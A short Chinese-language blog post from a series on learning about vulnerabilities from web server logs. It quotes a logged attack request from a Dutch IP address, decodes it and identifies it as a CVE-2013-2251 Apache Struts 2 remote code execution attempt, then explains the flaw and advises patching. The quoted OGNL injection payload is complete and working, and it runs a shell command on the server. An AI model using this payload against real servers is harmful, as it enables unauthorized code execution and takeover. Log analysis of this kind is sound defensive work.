2024年9月11日 星期三

從 Web Log 學習系統漏洞 91

從荷蘭(45.148.120.50)來的不少攻擊

截取其中一段:
45.148.120.50 - - [08/Sep/2024:13:00:17 +0800] "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 404 210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0"

解碼後得到:
/index.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("sh -c id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} 

這是一個 CVE-2013-2251遠端代碼執行漏洞, 該漏洞出現在 Apache Struts 2框架的 Dynamic Method Invocation (DMI)功能中, 允許攻擊者利用 HTTP請求執行任意代碼, 當應用程式使用 DMI 並且未妥善過濾或限制輸入時, 攻擊者可以通過提交特製的請求, 強制應用程式執行其傳入的任意方法, 這使得攻擊者可以在未經授權的情況下執行伺服器端代碼, 進而可能取得控制權或修改系統資料, 官方已釋出安全性更新, 使用者更新到較新的版本並停用不必要的功能

沒有留言:

張貼留言